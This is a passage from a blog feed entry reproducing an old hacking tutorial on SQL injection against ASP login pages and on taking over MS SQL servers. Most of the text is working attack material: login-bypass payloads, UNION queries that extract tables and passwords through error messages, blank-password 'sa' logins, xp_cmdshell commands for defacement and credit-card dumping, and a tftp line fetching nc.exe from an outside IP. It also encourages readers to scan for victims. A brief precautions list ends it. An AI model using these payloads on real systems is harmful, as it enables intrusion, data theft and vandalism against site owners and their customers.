0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"Login successful"&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;End &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;if&lt;br /&gt;%&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;&lt;/span&gt; &lt;/span&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Looking                    at the above code at first site it seems OK. A user will type                    his login name and password in login.htm page and click the                    submit button. The value of the text boxes will be passed to                    the logincheck.asp page where it will be checked using the                    query string. If it doesn't get an entry satisfying the query                    and will reach end of file a message of login failed will be                    displayed. Every thing seems to be OK. But wait a minute.                    Think again. Is every thing really OK ?!! What about the query                    ?!! Is it OK. Well if you have made a page like this then a                    hacker can easily login successfully without knowing the                    password. How ? Lets look at the querry again.&lt;br /&gt;&lt;br /&gt;"Select                    * from table1 where login='"&amp;amp;log&amp;amp; "' and password='"                    &amp;amp;pwd&amp;amp; "' "&lt;br /&gt;&lt;br /&gt;Now if a user types his login name                    as "Chintan" and password as "h4x3r" then these values will                    pass to the asp page with post method and then the above query                    will become&lt;br /&gt;&lt;br /&gt;"Select * from table1 where login=' Chintan                    ' and password=' h4x3r ' "&lt;br /&gt;&lt;br /&gt;Thats fine. There will be an                    entry Chintan and h4x3r in login and password fields in the                    database so we will receive a message as login successful. Now                    what if I type loginname as "Chintan" and password as&lt;br /&gt;hi'                    or 'a'='a in the password text box ? The query will become as                    follows:&lt;br /&gt;&lt;br /&gt;"Select * from table1 where login=' Chintan '                    and password=' hi' or 'a'='a ' "&lt;br /&gt;&lt;br /&gt;And submit and                    bingo!!!!! I will get the message as Login successful !! Did                    you see the smartness of hacker which was due to carelessness                    of web designer ? !!&lt;br /&gt;The query gets satisfied as query                    changes and password needs to 'hi' or 'a' needs to be equal to                    'a'. Clearly password is not 'hi' but at the same time 'a'='a'                    . So condition is satisfied. And a hacker is in with login                    "Chintan" !! You can try the following in the password text                    box if the above doesn't work for some websites:&lt;br /&gt;&lt;br /&gt;hi" or                    "a"="a&lt;br /&gt;hi" or 1=1 --&lt;br /&gt;hi' or 1=1 --&lt;br /&gt;hi' or                    'a'='a&lt;br /&gt;hi') or ('a'='a&lt;br /&gt;hi") or ("a"="a&lt;br /&gt;&lt;br /&gt;Here above                    -- will make the rest of the query string to be a comment                    other conditions will not be checked. Similary you can provide                   &lt;br /&gt;&lt;br /&gt;Chintan ' --&lt;br /&gt;Chintan " --&lt;br /&gt;&lt;br /&gt;or such types of                    other possibilites in the login name textbox and password as                    anything which might let you in. Because in the query string                    only login name is checked as "Chintan" and rest is ignored                    due to --. Well if you are lucky enough you get such a website                    were the webdesigner has done the above mistake and then you                    will be able to login as any user !!!&lt;br /&gt;&lt;br /&gt;IMP NOTE: Hey                    guys I have put up a page where you can experiment for                    yourself about the sql injection vulnerablity. Just go to                    www33.brinkster.com/chintantrivedi/login.htm&lt;br /&gt;&lt;br /&gt;More                    advance hacking of Databases using ODBC error                    messages!!!&lt;br /&gt;--------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;Above                    we saw as to how login successfully without knowing password.                    Now over here I will show you how to read the whole database                    just by using queries in the URL !! And this works only for                    IIS i.e asp pages. And we know that IIS covers almost 35% of                    the web market. So you will definitely get a victim just after                    searching a few websites. You might have seen something like                   &lt;br /&gt;&lt;br /&gt;&lt;a href="http://neworder.box.sk/redirect.php?http://www.nosecurity.com/mypage.asp?id=45" target="_blank"&gt;http://neworder.box.sk/redirect.php?http://www.nosecurity.com/mypage.asp?id=45&lt;/a&gt;                   &lt;br /&gt;&lt;br /&gt;in the URLs. '?' over there shows that after it, 45                    value is passed to a hidden datatype id. Well if you don't                    understand then as we have seen in the above example in the                    login.htm, having two input text types with names 'login_name'                    and 'pass' and there values were passed to logincheck.asp                    page. The same thing can be done by directly opening the                    logincheck.asp page using&lt;br /&gt;&lt;a href="http://neworder.box.sk/redirect.php?http://www.nosecurity.com/logincheck.asp?login_name=Chintan&amp;amp;pass=h4x3r" target="_blank"&gt;http://neworder.box.sk/redirect.php?http://www.nosecurity.com/logincheck.asp?login_name=Chintan&amp;amp;pass=h4x3r&lt;/a&gt;                   &lt;br /&gt;in the URL if method="get" is used instead of                    method="post".&lt;br /&gt;&lt;br /&gt;Note : or Difference between get and                    post method is that post method doesn't show up values passed                    to next paged in the url while get method shows up the values.                    To get more understanding of how they internally work read                    HTTP protocol RFC 1945 and RFC 2616.&lt;br /&gt;&lt;br /&gt;What i mean to say                    is that after '?' the variables which are going to be used in                    that page are assigned the values. As above login_name is                    given value Chintan. And different variables are separated by                    operator '&amp;amp;'.&lt;br /&gt;&lt;br /&gt;OK so coming back, id will mostly be                    hidden type and according to the links you click its value                    will change. This value of id is then passed in the query in                    mypage.asp page and according tothe results you get the                    desired page at your screen. Now if just change the value of                    id as 46 then you will get different page.&lt;br /&gt;Now lets start                    our hacking the database. Lets use the magic of queries. Just                    type&lt;br /&gt;&lt;br /&gt;&lt;a href="http://neworder.box.sk/redirect.php?http://www.nosecurity.com/mypage.asp?id=45" target="_blank"&gt;http://neworder.box.sk/redirect.php?http://www.nosecurity.com/mypage.asp?id=45&lt;/a&gt;                    UNION SELECT TOP 1 TABLE_NAME FROM                    INFORMATION_SCHEMA.TABLES--&lt;br /&gt;&lt;br /&gt;in the URL.                    INFORMATION_SCHEMA.TABLES is a system table and it contains                    information of all the tables of the server. In that there is                    field TABLE_NAME which contains names of all the tables. See                    the query again&lt;br /&gt;SELECT TOP 1 TABLE_NAME FROM                    INFORMATION_SCHEMA.TABLES&lt;br /&gt;The result of this query is the                    first table name from INFORMATION_SCHEMA.TABLES table. But the                    result we get is a table name which is a string(nvarchar) and                    we are uniting it with 45(integer) by UNION. So we will get an                    error message as&lt;br /&gt;&lt;br /&gt;Microsoft OLE DB Provider for ODBC                    Drivers error '80040e07' [Microsoft][ODBC SQL Server                    Driver][SQL Server]Syntax error converting the nvarchar value                    'logintable' to a column of data type int. /mypage.asp, line                   &lt;br /&gt;&lt;br /&gt;From the error its clear that first table is                    'logintable'. It seems that this table might contain login                    names and passwords :-) So lets move in it. Type the following                    in the URL&lt;br /&gt;&lt;br /&gt;&lt;a href="http://neworder.box.sk/redirect.php?http://www.nosecurity.com/mypage.asp?id=45" target="_blank"&gt;http://neworder.box.sk/redirect.php?http://www.nosecurity.com/mypage.asp?id=45&lt;/a&gt;                    UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS                    WHERE TABLE_NAME='logintable'--&lt;br /&gt;&lt;br /&gt;output&lt;br /&gt;Microsoft OLE                    DB Provider for ODBC Drivers error '80040e07'                   &lt;br /&gt;[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax                    error converting the nvarchar&lt;br /&gt;value 'login_id' to a column                    of data type int.&lt;br /&gt;/index.asp, line 5&lt;br /&gt;&lt;br /&gt;The above                    error message shows that the first field or column in                    logintable is login_id. To get the next column name will                    type&lt;br /&gt;&lt;br /&gt;&lt;a href="http://neworder.box.sk/redirect.php?http://www.nosecurity.com/mypage.asp?id=45" target="_blank"&gt;http://neworder.box.sk/redirect.php?http://www.nosecurity.com/mypage.asp?id=45&lt;/a&gt;                    UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS                    WHERE TABLE_NAME='logintable' WHERE COLUMN_NAME NOT IN                    ('login_id')--&lt;br /&gt;&lt;br /&gt;Output:&lt;br /&gt;Microsoft OLE DB Provider for                    ODBC Drivers error '80040e07'&lt;br /&gt;[Microsoft][ODBC SQL Server                    Driver][SQL Server]Syntax error converting the                    nvarchar&lt;br /&gt;value 'login_name' to a column of data type int.                   &lt;br /&gt;/index.asp, line 5&lt;br /&gt;&lt;br /&gt;So we get one more field name as                    'login_name'. To get the third field name we will write                   &lt;br /&gt;&lt;br /&gt;&lt;a href="http://neworder.box.sk/redirect.php?http://www.nosecurity.com/mypage.asp?id=45" target="_blank"&gt;http://neworder.box.sk/redirect.php?http://www.nosecurity.com/mypage.asp?id=45&lt;/a&gt;                    UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS                    WHERE TABLE_NAME='logintable' WHERE COLUMN_NAME NOT IN                    ('login_id','login_name')--&lt;br /&gt;&lt;br /&gt;Microsoft OLE DB Provider                    for ODBC Drivers error '80040e07'&lt;br /&gt;[Microsoft][ODBC SQL                    Server Driver][SQL Server]Syntax error converting the                    nvarchar&lt;br /&gt;value 'passwd' to a column of data type int.                   &lt;br /&gt;/index.asp, line 5&lt;br /&gt;&lt;br /&gt;Thats it. We ultimately get the                    'passwd' field. Now lets get the login names and&lt;br /&gt;passwords                    from this table "logintable". Type&lt;br /&gt;&lt;br /&gt;&lt;a href="http://neworder.box.sk/redirect.php?http://www.nosecurity.com/mypage.asp?id=45" target="_blank"&gt;http://neworder.box.sk/redirect.php?http://www.nosecurity.com/mypage.asp?id=45&lt;/a&gt;                    UNION SELECT TOP 1 login_name FROM                    logintable--&lt;br /&gt;&lt;br /&gt;Output:&lt;br /&gt;Microsoft OLE DB Provider for                    ODBC Drivers error '80040e07'&lt;br /&gt;[Microsoft][ODBC SQL Server                    Driver][SQL Server]Syntax error converting the nvarchar                   &lt;br /&gt;value 'Rahul' to a column of data type int.                   &lt;br /&gt;/index.asp, line 5&lt;br /&gt;&lt;br /&gt;Thats the login name "Rahul" and                    to get the password of Rahul the query would be&lt;br /&gt;&lt;br /&gt;&lt;a href="http://neworder.box.sk/redirect.php?http://www.nosecurity.com/mypage.asp?id=45" target="_blank"&gt;http://neworder.box.sk/redirect.php?http://www.nosecurity.com/mypage.asp?id=45&lt;/a&gt;                    UNION SELECT TOP 1 password FROM logintable&lt;br /&gt;where                    login_name='Rahul'--&lt;br /&gt;&lt;br /&gt;Output:&lt;br /&gt;Microsoft OLE DB                    Provider for ODBC Drivers error '80040e07'                   &lt;br /&gt;[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax                    error converting the nvarchar&lt;br /&gt;value 'P455w0rd' to a column                    of data type int.&lt;br /&gt;/index.asp, line 5&lt;br /&gt;&lt;br /&gt;Voila!! login                    name: Rahul and password: P455w0rd. You have cracked the                    database of&lt;br /&gt;www.nosecurity.com And's it was possible to                    the request of user was not checked properly. SQL                   &lt;br /&gt;vulnerabilities still exist on many websites. The best                    solution is to parse the user requests and&lt;br /&gt;filter out some                    characters as ',",--,:,etc.&lt;br /&gt;&lt;br /&gt;Part II - using port 1434                    (SQL                    Port)&lt;br /&gt;-------------------------------------&lt;br /&gt;&lt;br /&gt;Well                    uptill now we had seen how to break the database using the                    malformed URLs But that was done using just port 80 (http                    port) But this time we would use the port 1434 for hacking.                    Before that we will see what actually database servers are and                    how do they work and then how to exploit them !&lt;br /&gt;&lt;br /&gt;The                    designers of MS sql gave some default stored procedures along                    with the product to make things flexible to the webdesigners.                    The procedure is nothing but functions which can used to                    perform some actions on the arguments passed to them. This                    procedures are very important to hackers. Some of the                    important ones are&lt;br /&gt;&lt;br /&gt;sp_passsword -&gt; Changes password                    for a specific login name.&lt;br /&gt;e.g. EXEC sp_password ‘oldpass’,                    ‘newpass’, ‘username’&lt;br /&gt;&lt;br /&gt;sp_tables -&gt; Shows all the                    tables in the current database.&lt;br /&gt;e.g. EXEC                    sp_tables&lt;br /&gt;&lt;br /&gt;xp_cmdshell -&gt; Runs arbitary command on                    the machine with administrator privileges. (most                    imp)&lt;br /&gt;&lt;br /&gt;xp_msver -&gt; Shows the MS SQL server version                    including the all info about the OS.&lt;br /&gt;e.g.                    master..xp_msver&lt;br /&gt;&lt;br /&gt;xp_regdeletekey -&gt; Deletes a                    registry key.&lt;br /&gt;&lt;br /&gt;xp_regdeletevalue -&gt;Delets a registry                    value&lt;br /&gt;&lt;br /&gt;xp_regread -&gt; Reads a registry value                   &lt;br /&gt;&lt;br /&gt;xp_regwrite -&gt; Writes a registry                    key.&lt;br /&gt;&lt;br /&gt;xp_terminate_process -&gt; Stops a process                   &lt;br /&gt;&lt;br /&gt;Well these are some important procedures. Actually                    there are more than 50 such types of procedures. If you want                    your MS SQL server to be protected then I would recommend to                    delete all of these procedures. The trick is open the Master                    database using MS SQL Server Enterprise Manager. Now expand                    the Extended Stored Procedures folder and delete the stored                    procedure by right click and delete.&lt;br /&gt;&lt;br /&gt;Note: “Master” is                    an important database of the SQL server which contains all                    system information like login names and system stored                    procedures. So if a hacker deletes this master database then                    the SQL server will be down for ever. Syslogins is the default                    system table which contains the usernames and passwords of                    logins in the database.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Most dangerous threat :                    The Microsoft SQL server has default username “sa” with                    password blank “”. And this has ruined lots of MS sql servers                    in the past. Even a virus regarding this vulnerability had                    been released.&lt;br /&gt;&lt;br /&gt;Thatz enough. Lets hack now. First we                    need to find out a vulnerable server. Download a good port                    scanner (many out there on web ) and scan for ip addresses                    having port 1433/1434 (tcp or udp) open. This is the MS Sql                    port which runs the sql service. Oracle’s port no. is 1521.                    Lets suppose we got a vulnerable server with ip 198.188.178.1                    (its just an example so don’t even try it) Now there are many                    ways to use the SQL service. Like telnet or netcat to port no.                    1433/1434. You can also use a tool known as osql.exe which                    ships with any SQL server 2000. Okz. Now go to dos prompt and                    type.&lt;br /&gt;&lt;code&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;&lt;br /&gt;C&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;:&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;osql&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;exe &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;-?&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;osql&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;: &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;unknown option &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;?&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;usage&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;: &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;osql              &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;[-&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;U login id&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;]          [-&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;P password&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;]&lt;br /&gt;  [-&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;S server&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;]            [-&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;H hostname&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;]          [-&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;E trusted connection&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;]&lt;br /&gt;  [-&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;d &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;use &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;database name&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;] [-&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;l login timeout&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;]     [-&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;t query timeout&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;]&lt;br /&gt;  [-&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;h headers&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;]           [-&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;s colseparator&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;]      [-&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;w columnwidth&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;]&lt;br /&gt;  [-&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;a packetsize&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;]        [-&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;e &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;echo &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;input&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;]        [-&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;I Enable Quoted Identifiers&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;]&lt;br /&gt;  [-&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;L &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;list &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;servers&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;]      [-&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;c cmdend&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;]&lt;br /&gt;  [-&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;q &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"cmdline query"&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;]   [-&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;Q &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"cmdline query" &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;and exit]&lt;br /&gt;  [-&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;n remove numbering&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;]  [-&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;m errorlevel&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;]&lt;br /&gt;  [-&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;r msgs to stderr&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;]    [-&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;V severitylevel&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;]&lt;br /&gt;  [-&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;i inputfile&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;]         [-&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;o outputfile&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;]&lt;br /&gt;  [-&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;p &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;print &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;statistics&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;]  [-&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;b On error batch abort&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;]&lt;br /&gt;  [-&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;O &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;use &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;Old ISQL behavior disables the following&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;]&lt;br /&gt;      &lt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;EOF&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;batch processing&lt;br /&gt;      Auto console width scaling&lt;br /&gt;      Wide messages&lt;br /&gt;      &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;default &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;errorlevel is &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;-&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;1 vs 1&lt;br /&gt;  &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;[-? &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;show syntax summary&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;]&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;br /&gt;Well, this                    displays the help of the osql tool. Its clear from the help                    what we have to do now. Type&lt;br /&gt;&lt;br /&gt;C:\&gt; osql.exe –S                    198.188.178.1 –U sa –P “”&lt;br /&gt;1&gt;&lt;br /&gt;Thats what we get if we                    login successfully else we will get an error message as login                    failed for user “sa”&lt;br /&gt;&lt;br /&gt;Now if we want to execute any                    command on the remote machine then just use the “xp_cmdshell”                    default stored procedure.&lt;br /&gt;&lt;br /&gt;C:\&gt; osql.exe –S                    198.188.178.1 –U sa –P “” –Q “exec master..xp_cmdshell ‘dir                    &gt;dir.txt’”&lt;br /&gt;&lt;br /&gt;I would prefer to use –Q option instead                    of –q because it exits after executing the query. In the same                    manner we can execute any command on the remote machine. We                    can even upload or download any files on/from the remote                    machine. A smart attacker will install a backdoor on the                    machine to gain access to in future also. Now as I had                    explained earlier we can use the “information_schema.tables”                    to get the list of tables and contents of it.&lt;br /&gt;&lt;br /&gt;C:\&gt;                    osql.exe –S 198.188.178.1 –U sa –P “” –Q “select * from                    information_schema.tables”&lt;br /&gt;&lt;br /&gt;And getting table names look                    for some table like login or accounts or users or something                    like that which seems to contain some important info like                    credit card no. etc.&lt;br /&gt;&lt;br /&gt;C:\&gt; osql.exe –S 198.188.178.1                    –U sa –P “” –Q “select * from users”&lt;br /&gt;&lt;br /&gt;And                   &lt;br /&gt;&lt;br /&gt;C:\&gt; osql.exe –S 198.188.178.1 –U sa –P “” –Q                    “select username, creditcard, expdate from                    users”&lt;br /&gt;&lt;br /&gt;Output:&lt;br /&gt;&lt;code&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;&lt;br /&gt;Username     creditcard                   expdate&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;-----------      ------------                   ----------&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;Jack              5935023473209871   2004&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;-&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;10&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;-&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;03 00&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;:&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;00&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;:&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;00.000&lt;br /&gt;Jill             5839203921948323   2004&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;-&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;07&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;-&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;02 00&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;:&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;00&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;:&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;00.000&lt;br /&gt;Micheal        5732009850338493   2004&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;-&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;08&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;-&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;07 00&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;:&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;00&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;:&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;00.000&lt;br /&gt;Ronak          5738203981300410    2004&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;-&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;03&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;-&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;02 00&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;:&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;00&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;:&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;00.000&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;br /&gt;Write                    something in index.html file ?&lt;br /&gt;&lt;br /&gt;C:\&gt; osql.exe –S                    198.188.178.1 –U sa –P “” –Q “exec master..xp_cmdshell ‘echo                    defaced by Chintan &gt;                    C:\inetpub\wwwroot\index.html’”&lt;br /&gt;&lt;br /&gt;Wanna upload any file                    on the remote system.&lt;br /&gt;&lt;br /&gt;C:\&gt; osql.exe –S                    198.188.178.1 –U sa –P “” –Q “exec master..xp_cmdshell ‘tftp                    203.192.16.12 GET nc.exe c:\nc.exe’”&lt;br /&gt;&lt;br /&gt;And to download                    any file we can use the PUT request instead of GET Its just                    because this commands are being executed on the remote machine                    and not on ours. So if you give the GET request the command                    will be executed on the remote machine and it will try to get                    the nc.exe file from our machine to the remote machine.                   &lt;br /&gt;&lt;br /&gt;Thatz not over. Toolz for hacking the login passwords                    of Sql servers are easily available on the web. Even many                    buffer overflows are being discovered which can allow user to                    gain the complete control of the sytem with administrator                    privileges. The article is just giving some general issues                    about database servers.&lt;br /&gt;&lt;br /&gt;Remember the Sapphire worm?                    Which was released on 25th Jan. The worm which exploited three                    known vulnerabilities in the SQL servers using 1433/1434 UDP                    ports.&lt;br /&gt;&lt;br /&gt;Precautionay measures                   &lt;br /&gt;---------------------------&lt;br /&gt;&lt;code&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;&lt;*&gt;    &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;Change the &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;default &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;password &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;for &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;sa&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;.&lt;br /&gt;&lt;*&gt;    &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;Delete all the &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;default &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;stored procedures&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;.&lt;br /&gt;&lt;*&gt;    &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;Filter out all the characters like &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;",--,:,etc. &lt;br /&gt;&lt;*&gt;    Keep upto date with  patches&lt;br /&gt;&lt;*&gt;    Block the ports 1433/1434 MS SQL and 1521 (oracle) ports using firewalls. &lt;/span&gt;                    &lt;/span&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Remember security is not an add-on                    feature. It depends upon the smartness of administrator. The                    war between the hacker and administrator will go on and on and                    on…. The person who is aware with the latest news or bug                    reports will win the war. Database admins should keep in touch                    with some sites like&lt;br /&gt;&lt;br /&gt;&lt;a href="http://neworder.box.sk/redirect.php?http://sqlsecurity.com" target="_blank"&gt;http://neworder.box.sk/redirect.php?http://sqlsecurity.com&lt;/a&gt;                   &lt;br /&gt;&lt;a href="http://neworder.box.sk/redirect.php?http://www.cert.com" target="_blank"&gt;http://neworder.box.sk/redirect.php?http://www.cert.com&lt;/a&gt;                    &lt;br /&gt;&lt;br /&gt;credits:-not known&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2609857889221977448-8309116978451464609?l=ankitunleashed.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ankitunleashed.blogspot.com/feeds/8309116978451464609/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2609857889221977448&amp;postID=8309116978451464609' title='0 Comments'/><link rel='edit' type='application/atom+xml' 